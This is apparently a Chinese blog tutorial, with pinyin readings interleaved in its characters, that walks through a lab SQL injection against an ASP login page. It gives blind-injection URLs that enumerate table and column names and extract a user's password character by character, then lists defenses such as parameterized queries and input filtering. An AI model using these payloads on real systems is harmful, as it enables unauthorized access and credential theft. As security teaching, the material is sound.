sql注入實(shí)例分析

什么是SQL注入攻擊?引用百度百科的解釋?zhuān)?/a>

sql注入_百度百科

所謂SQL注入,就是通過(guò)把SQL命令插入到Web表單提交或輸入域名或頁(yè)面請(qǐng)求的查詢(xún)字符串,最終達(dá)到欺騙服務(wù)器執(zhí)行惡意的SQL命令。具體來(lái)說(shuō),它是利用現(xiàn)有應(yīng)用程序,將(惡意)的SQL命令注入到后臺(tái)數(shù)據(jù)庫(kù)引擎執(zhí)行的能力,它可以通過(guò)在Web表單中輸入(惡意)SQL語(yǔ)句得到一個(gè)存在安全漏洞的網(wǎng)站上的數(shù)據(jù)庫(kù),而不是按照設(shè)計(jì)者意圖去執(zhí)行SQL語(yǔ)句。[1]比如先前的很多影視網(wǎng)站泄露VIP會(huì)員密碼大多就是通過(guò)WEB表單遞交查詢(xún)字符暴出的,這類(lèi)表單特別容易受到SQL注入式攻擊

SQL注入攻擊指的是通過(guò)構(gòu)建特殊的輸入作為參數(shù)傳入Web應(yīng)用程序,而這些輸入大都是SQL語(yǔ)法里的一些組合,通過(guò)執(zhí)行SQL語(yǔ)句進(jìn)而執(zhí)行攻擊者所要的操作,其主要原因是程序沒(méi)有細(xì)致地過(guò)濾用戶(hù)輸入的數(shù)據(jù),致使非法數(shù)據(jù)侵入系統(tǒng)。

詳細(xì)步驟:(相關(guān)文件下載在最后

1.針對(duì)給出的WEB系統(tǒng)運(yùn)行AspWebServer

2.進(jìn)入登錄頁(yè)面進(jìn)行SQL注入漏洞測(cè)試

正常登錄:

用戶(hù)名:admin 密碼:admin

SQL注入漏洞測(cè)試:

在正常用戶(hù)名admin后增加一個(gè)單引號(hào),單擊"登錄"

或在URL地址欄直接輸入http://172.18.3.13:81/login.asp?name=admin'&pass=admin

若出錯(cuò),證明沒(méi)有對(duì)'進(jìn)行過(guò)濾,存在SQL注入漏洞

在正常用戶(hù)名admin后增加一個(gè)單引號(hào),單擊"登錄"

出錯(cuò)

在URL地址欄直接輸入http://172.18.3.13:81/login.asp?name=admin'&pass=admin

登錄出錯(cuò)

登錄出錯(cuò),證明存在SQL注入漏洞。

3.SQL注入攻擊

構(gòu)造可以正常運(yùn)行的目標(biāo)地址

輸入http://172.18.3.13:81/login.asp?name=admin &pass=admin' and '1=1

原SQL語(yǔ)句為SELECT * FROM data Where uname='admin',條件未變,但接收密碼為admin' and '1=1

登錄失敗

輸入http://172.18.3.13:81/login.asp?pass=admin&name=admin' and 1=1 and 'a'='a

原SQL語(yǔ)句為SELECT * FROM data Where uname='admin' and 1=1 and 'a'='a'

登錄成功

可以正常運(yùn)行的目標(biāo)地址已經(jīng)構(gòu)造成功,此時(shí)可將1=1部分用SQL查詢(xún)語(yǔ)句替代,依次對(duì)數(shù)據(jù)庫(kù)表名、表中字段名、用戶(hù)和密碼長(zhǎng)度、用戶(hù)和密碼進(jìn)行測(cè)試

4. 猜解數(shù)據(jù)庫(kù)表名

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (select count(*) from data)>0 and 'a'='a

成功,說(shuō)明數(shù)據(jù)表名確為data;若不成功,則可反復(fù)測(cè)試,直至成功猜出表名

5. 猜解數(shù)據(jù)庫(kù)字段名

http://172.18.3.13:81/login.asp?pass=admin&name=admin'and (select count(uname) from data)>0 and 'a'='a

若用戶(hù)名字段確為uname,則提示登錄成功

同理可猜出密碼字段為upass

猜測(cè)用戶(hù)名字段為name,登錄出錯(cuò)

猜測(cè)用戶(hù)名字段為uname,登錄成功

說(shuō)明數(shù)據(jù)庫(kù)中用戶(hù)名字段為uname

猜測(cè)密碼字段為upass,登錄成功

說(shuō)明數(shù)據(jù)庫(kù)中密碼字段為upass

6.猜解密碼長(zhǎng)度

已知有一用戶(hù)名為"wucm",首先猜其密碼長(zhǎng)度大于1

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)>1)>0 and 'a'='a

成功,說(shuō)明用戶(hù)"wucm"的密碼大于1, 繼續(xù)猜測(cè)密碼長(zhǎng)度小于10

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)<10)>0 and 'a'='a

成功,說(shuō)明"wucm"的密碼長(zhǎng)度小于10位,繼續(xù)猜測(cè)其密碼長(zhǎng)度小于5

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)<5)>0 and 'a'='a

出錯(cuò),說(shuō)明"wucm"的密碼長(zhǎng)度大于5位,繼續(xù)猜測(cè)其密碼長(zhǎng)度大于8位

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)>8)>0 and 'a'='a

出錯(cuò),說(shuō)明"wucm"的密碼長(zhǎng)度小于8位,繼續(xù)猜測(cè)其密碼長(zhǎng)度等于6位

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)=6)>0 and 'a'='a

成功,說(shuō)明"wucm"的密碼長(zhǎng)度為6位

7.猜解密碼

根據(jù)前面的測(cè)試我們已經(jīng)知道該用戶(hù)的密碼長(zhǎng)度位6位,接下來(lái)對(duì)密碼進(jìn)行逐位猜測(cè):

首先測(cè)試第一位是否為數(shù)字

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)<'9')>0 and 'a'='a

出錯(cuò),說(shuō)明密碼第一位不是數(shù)字, 測(cè)試是否位字母

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)>'a')>0 and 'a'='a

成功,基本說(shuō)明密碼第一位是字母, 接下來(lái)重復(fù)測(cè)試,不斷縮小字母范圍,最后確定密碼第一位為字母"w"

http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)='w')>0 and 'a'='a

成功,說(shuō)明密碼第一位位"w"

同理對(duì)6位密碼逐位進(jìn)行猜測(cè),最后得到密碼為"wcm987"

至此我們就猜測(cè)出用戶(hù)"wucm"的密碼為"wcm987",進(jìn)行登陸測(cè)試:

登錄成功,證明整個(gè)猜測(cè)過(guò)程和最后得出的密碼都是正確的

防范SQL注入攻擊的方法:

既然SQL注入式攻擊的危害這么大,那么該如何來(lái)防治呢?下面這些建議或許對(duì)數(shù)據(jù)庫(kù)管理員防治SQL注入式攻擊有一定的幫助。

1、 普通用戶(hù)與系統(tǒng)管理員用戶(hù)的權(quán)限要有嚴(yán)格的區(qū)分。

如果一個(gè)普通用戶(hù)在使用查詢(xún)語(yǔ)句中嵌入另一個(gè)Drop Table語(yǔ)句,那么是否允許執(zhí)行呢?由于Drop語(yǔ)句關(guān)系到數(shù)據(jù)庫(kù)的基本對(duì)象,故要操作這個(gè)語(yǔ)句用戶(hù)必須有相關(guān)的權(quán)限。在權(quán)限設(shè)計(jì)中,對(duì)于終端用戶(hù),即應(yīng)用軟件的使用者,沒(méi)有必要給他們數(shù)據(jù)庫(kù)對(duì)象的建立、刪除等權(quán)限。那么即使在他們使用SQL語(yǔ)句中帶有嵌入式的惡意代碼,由于其用戶(hù)權(quán)限的限制,這些代碼也將無(wú)法被執(zhí)行。故應(yīng)用程序在設(shè)計(jì)的時(shí)候,最好把系統(tǒng)管理員的用戶(hù)與普通用戶(hù)區(qū)分開(kāi)來(lái)。如此可以最大限度的減少注入式攻擊對(duì)數(shù)據(jù)庫(kù)帶來(lái)的危害。

2、 強(qiáng)迫使用參數(shù)化語(yǔ)句。

如果在編寫(xiě)SQL語(yǔ)句的時(shí)候,用戶(hù)輸入的變量不是直接嵌入到SQL語(yǔ)句。而是通過(guò)參數(shù)來(lái)傳遞這個(gè)變量的話,那么就可以有效的防治SQL注入式攻擊。也就是說(shuō),用戶(hù)的輸入絕對(duì)不能夠直接被嵌入到SQL語(yǔ)句中。與此相反,用戶(hù)的輸入的內(nèi)容必須進(jìn)行過(guò)濾,或者使用參數(shù)化的語(yǔ)句來(lái)傳遞用戶(hù)輸入的變量。參數(shù)化的語(yǔ)句使用參數(shù)而不是將用戶(hù)輸入變量嵌入到SQL語(yǔ)句中。采用這種措施,可以杜絕大部分的SQL注入式攻擊。不過(guò)可惜的是,現(xiàn)在支持參數(shù)化語(yǔ)句的數(shù)據(jù)庫(kù)引擎并不多。不過(guò)數(shù)據(jù)庫(kù)工程師在開(kāi)發(fā)產(chǎn)品的時(shí)候要盡量采用參數(shù)化語(yǔ)句。

3、 加強(qiáng)對(duì)用戶(hù)輸入的驗(yàn)證。

總體來(lái)說(shuō),防治SQL注入式攻擊可以采用兩種方法,一是加強(qiáng)對(duì)用戶(hù)輸入內(nèi)容的檢查與驗(yàn)證;二是強(qiáng)迫使用參數(shù)化語(yǔ)句來(lái)傳遞用戶(hù)輸入的內(nèi)容。在SQLServer數(shù)據(jù)庫(kù)中,有比較多的用戶(hù)輸入內(nèi)容驗(yàn)證工具,可以幫助管理員來(lái)對(duì)付SQL注入式攻擊。測(cè)試字符串變量的內(nèi)容,只接受所需的值。拒絕包含二進(jìn)制數(shù)據(jù)、轉(zhuǎn)義序列和注釋字符的輸入內(nèi)容。這有助于防止腳本注入,防止某些緩沖區(qū)溢出攻擊。測(cè)試用戶(hù)輸入內(nèi)容的大小和數(shù)據(jù)類(lèi)型,強(qiáng)制執(zhí)行適當(dāng)?shù)南拗婆c轉(zhuǎn)換。這即有助于防止有意造成的緩沖區(qū)溢出,對(duì)于防治注入式攻擊有比較明顯的效果。

如可以使用存儲(chǔ)過(guò)程來(lái)驗(yàn)證用戶(hù)的輸入。利用存儲(chǔ)過(guò)程可以實(shí)現(xiàn)對(duì)用戶(hù)輸入變量的過(guò)濾,如拒絕一些特殊的符號(hào)。如以上那個(gè)惡意代碼中,只要存儲(chǔ)過(guò)程把那個(gè)分號(hào)過(guò)濾掉,那么這個(gè)惡意代碼也就沒(méi)有用武之地了。在執(zhí)行SQL語(yǔ)句之前,可以通過(guò)數(shù)據(jù)庫(kù)的存儲(chǔ)過(guò)程,來(lái)拒絕接納一些特殊的符號(hào)。在不影響數(shù)據(jù)庫(kù)應(yīng)用的前提下,應(yīng)該讓數(shù)據(jù)庫(kù)拒絕包含以下字符的輸入。如分號(hào)分隔符,它是SQL注入式攻擊的主要幫兇。如注釋分隔符。注釋只有在數(shù)據(jù)設(shè)計(jì)的時(shí)候用的到。一般用戶(hù)的查詢(xún)語(yǔ)句中沒(méi)有必要注釋的內(nèi)容,故可以直接把他拒絕掉,通常情況下這么做不會(huì)發(fā)生意外損失。把以上這些特殊符號(hào)拒絕掉,那么即使在SQL語(yǔ)句中嵌入了惡意代碼,他們也將毫無(wú)作為。

故始終通過(guò)測(cè)試類(lèi)型、長(zhǎng)度、格式和范圍來(lái)驗(yàn)證用戶(hù)輸入,過(guò)濾用戶(hù)輸入的內(nèi)容。這是防止SQL注入式攻擊的常見(jiàn)并且行之有效的措施。

實(shí)例:JSP使用過(guò)濾器防止SQL注入

4、 多多使用SQL Server數(shù)據(jù)庫(kù)自帶的安全參數(shù)。

為了減少注入式攻擊對(duì)于SQL Server數(shù)據(jù)庫(kù)的不良影響,在SQLServer數(shù)據(jù)庫(kù)專(zhuān)門(mén)設(shè)計(jì)了相對(duì)安全的SQL參數(shù)。在數(shù)據(jù)庫(kù)設(shè)計(jì)過(guò)程中,工程師要盡量采用這些參數(shù)來(lái)杜絕惡意的SQL注入式攻擊。

如在SQL Server數(shù)據(jù)庫(kù)中提供了Parameters集合。這個(gè)集合提供了類(lèi)型檢查和長(zhǎng)度驗(yàn)證的功能。如果管理員采用了Parameters這個(gè)集合的話,則用戶(hù)輸入的內(nèi)容將被視為字符值而不是可執(zhí)行代碼。即使用戶(hù)輸入的內(nèi)容中含有可執(zhí)行代碼,則數(shù)據(jù)庫(kù)也會(huì)過(guò)濾掉。因?yàn)榇藭r(shí)數(shù)據(jù)庫(kù)只把它當(dāng)作普通的字符來(lái)處理。使用Parameters集合的另外一個(gè)優(yōu)點(diǎn)是可以強(qiáng)制執(zhí)行類(lèi)型和長(zhǎng)度檢查,范圍以外的值將觸發(fā)異常。如果用戶(hù)輸入的值不符合指定的類(lèi)型與長(zhǎng)度約束,就會(huì)發(fā)生異常,并報(bào)告給管理員。如上面這個(gè)案例中,如果員工編號(hào)定義的數(shù)據(jù)類(lèi)型為字符串型,長(zhǎng)度為10個(gè)字符。而用戶(hù)輸入的內(nèi)容雖然也是字符類(lèi)型的數(shù)據(jù),但是其長(zhǎng)度達(dá)到了20個(gè)字符。則此時(shí)就會(huì)引發(fā)異常,因?yàn)橛脩?hù)輸入的內(nèi)容長(zhǎng)度超過(guò)了數(shù)據(jù)庫(kù)字段長(zhǎng)度的限制。

5、 多層環(huán)境如何防治SQL注入式攻擊?

在多層應(yīng)用環(huán)境中,用戶(hù)輸入的所有數(shù)據(jù)都應(yīng)該在驗(yàn)證之后才能被允許進(jìn)入到可信區(qū)域。未通過(guò)驗(yàn)證過(guò)程的數(shù)據(jù)應(yīng)被數(shù)據(jù)庫(kù)拒絕,并向上一層返回一個(gè)錯(cuò)誤信息。實(shí)現(xiàn)多層驗(yàn)證。對(duì)無(wú)目的的惡意用戶(hù)采取的預(yù)防措施,對(duì)堅(jiān)定的攻擊者可能無(wú)效。更好的做法是在用戶(hù)界面和所有跨信任邊界的后續(xù)點(diǎn)上驗(yàn)證輸入。如在客戶(hù)端應(yīng)用程序中驗(yàn)證數(shù)據(jù)可以防止簡(jiǎn)單的腳本注入。但是,如果下一層認(rèn)為其輸入已通過(guò)驗(yàn)證,則任何可以繞過(guò)客戶(hù)端的惡意用戶(hù)就可以不受限制地訪問(wèn)系統(tǒng)。故對(duì)于多層應(yīng)用環(huán)境,在防止注入式攻擊的時(shí)候,需要各層一起努力,在客戶(hù)端與數(shù)據(jù)庫(kù)端都要采用相應(yīng)的措施來(lái)防治SQL語(yǔ)句的注入式攻擊。

6、 必要的情況下使用專(zhuān)業(yè)的漏洞掃描工具來(lái)尋找可能被攻擊的點(diǎn)。

使用專(zhuān)業(yè)的漏洞掃描工具,可以幫助管理員來(lái)尋找可能被SQL注入式攻擊的點(diǎn)。不過(guò)漏洞掃描工具只能發(fā)現(xiàn)攻擊點(diǎn),而不能夠主動(dòng)起到防御SQL注入攻擊的作用。當(dāng)然這個(gè)工具也經(jīng)常被攻擊者拿來(lái)使用。如攻擊者可以利用這個(gè)工具自動(dòng)搜索攻擊目標(biāo)并實(shí)施攻擊。為此在必要的情況下,企業(yè)應(yīng)當(dāng)投資于一些專(zhuān)業(yè)的漏洞掃描工具。一個(gè)完善的漏洞掃描程序不同于網(wǎng)絡(luò)掃描程序,它專(zhuān)門(mén)查找數(shù)據(jù)庫(kù)中的SQL注入式漏洞。最新的漏洞掃描程序可以查找最新發(fā)現(xiàn)的漏洞。所以憑借專(zhuān)業(yè)的工具,可以幫助管理員發(fā)現(xiàn)SQL注入式漏洞,并提醒管理員采取積極的措施來(lái)預(yù)防SQL注入式攻擊。如果攻擊者能夠發(fā)現(xiàn)的SQL注入式漏洞數(shù)據(jù)庫(kù)管理員都發(fā)現(xiàn)了并采取了積極的措施堵住漏洞,那么攻擊者也就無(wú)從下手了。

7、設(shè)置陷阱賬號(hào):

設(shè)置兩個(gè)帳號(hào),一個(gè)是普通管理員帳號(hào),一個(gè)是防注入的帳號(hào)。將防注入的賬號(hào)設(shè)置的很象管理員,如 admin,以制造假象吸引軟件的檢測(cè),而密碼是大于千字以上的中文字符,迫使軟件分析賬號(hào)的時(shí)候進(jìn)入全負(fù)荷狀態(tài)甚至資源耗盡而死機(jī)。

攻擊與防御一直是對(duì)立存在的兩面,有新的攻擊方式就會(huì)有更好的防護(hù)方法!在計(jì)算機(jī)網(wǎng)絡(luò)方面兩者更是通過(guò)長(zhǎng)期競(jìng)爭(zhēng)實(shí)現(xiàn)共同的進(jìn)步;任何系統(tǒng)都不是完美的,既然我們不能開(kāi)發(fā)出絕對(duì)安全的系統(tǒng),那我們就要時(shí)刻防范各種可能的攻擊。出現(xiàn)漏洞及時(shí)修復(fù),這樣才能保證我們系統(tǒng)的安全與穩(wěn)定!

本文用到的文件下載:sql注入實(shí)例分析.rar

附送一個(gè)動(dòng)畫(huà)教程:SQLInjection.rar

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 姓名:于川皓 學(xué)號(hào):16140210089 轉(zhuǎn)載自:https://baike.baidu.com/item/sq...
    道無(wú)涯_cc76閱讀 2,033評(píng)論 0 2
  • [SQL注入攻擊] SQL注入攻擊是黑客對(duì)數(shù)據(jù)庫(kù)進(jìn)行攻擊的常用手段之一。隨著B(niǎo)/S模式應(yīng)用開(kāi)發(fā)的發(fā)展,使用這種模式...
    James黃杰閱讀 2,899評(píng)論 0 30
  • 注入攻擊的分類(lèi) 1.沒(méi)有正確過(guò)濾轉(zhuǎn)義字符 在用戶(hù)的輸入沒(méi)有為轉(zhuǎn)義字符過(guò)濾時(shí),就會(huì)發(fā)生這種形式的注入式攻擊,它會(huì)被傳...
    查無(wú)此人asdasd閱讀 1,831評(píng)論 0 5
  • SQL注入 概念 危害 原理 實(shí)例 防御 基礎(chǔ) - ### SQL語(yǔ)句所用符號(hào)不同數(shù)據(jù)庫(kù)的sql注入與提權(quán)常見(jiàn)S...
    yddchsc君閱讀 1,496評(píng)論 1 10
  • Sql 注入基礎(chǔ)原理介紹一、實(shí)驗(yàn)說(shuō)明1.1 實(shí)驗(yàn)內(nèi)容SQL注入攻擊通過(guò)構(gòu)建特殊的輸入作為參數(shù)傳入Web應(yīng)用程序,而...
    FreaxJJ閱讀 1,912評(píng)論 3 23

友情鏈接更多精彩內(nèi)容